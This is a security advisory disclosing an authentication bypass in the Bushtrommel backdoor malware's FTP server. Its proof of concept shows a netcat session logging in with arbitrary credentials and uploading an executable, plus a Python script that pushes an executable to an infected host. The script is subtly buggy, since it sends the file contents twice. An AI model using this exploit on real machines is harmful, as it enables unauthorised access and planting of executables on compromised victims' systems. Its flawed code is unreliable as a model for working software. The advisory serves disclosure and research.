Backdoor.Win32.Bushtrommel.122 / Authentication Bypass

[malvuln <malvuln13 () gmail com>]

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/76c09bc82984c7f7ef55eb13018e0d87.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Bushtrommel.122
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 31745 runs an ftp server on
port 1030. Attackers who can reach infected systems can logon using any
username/password combination. Intruders may then upload executables using
ftp PASV, STOR commands.
Family: Bushtrommel
Type: PE32
MD5: 76c09bc82984c7f7ef55eb13018e0d87
Vuln ID: MVID-2022-0629
Disclosure: 08/04/2022

Exploit/PoC:
C:\>nc64.exe 192.168.18.125 1030
220 ICS FTP Server ready.
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,236,165).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
426 Connection closed; Datei C:\TEMP\DOOM.exe kann nicht erstellt werden.
CDUP \
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,125,236,172).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.125"
PORT=60588
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


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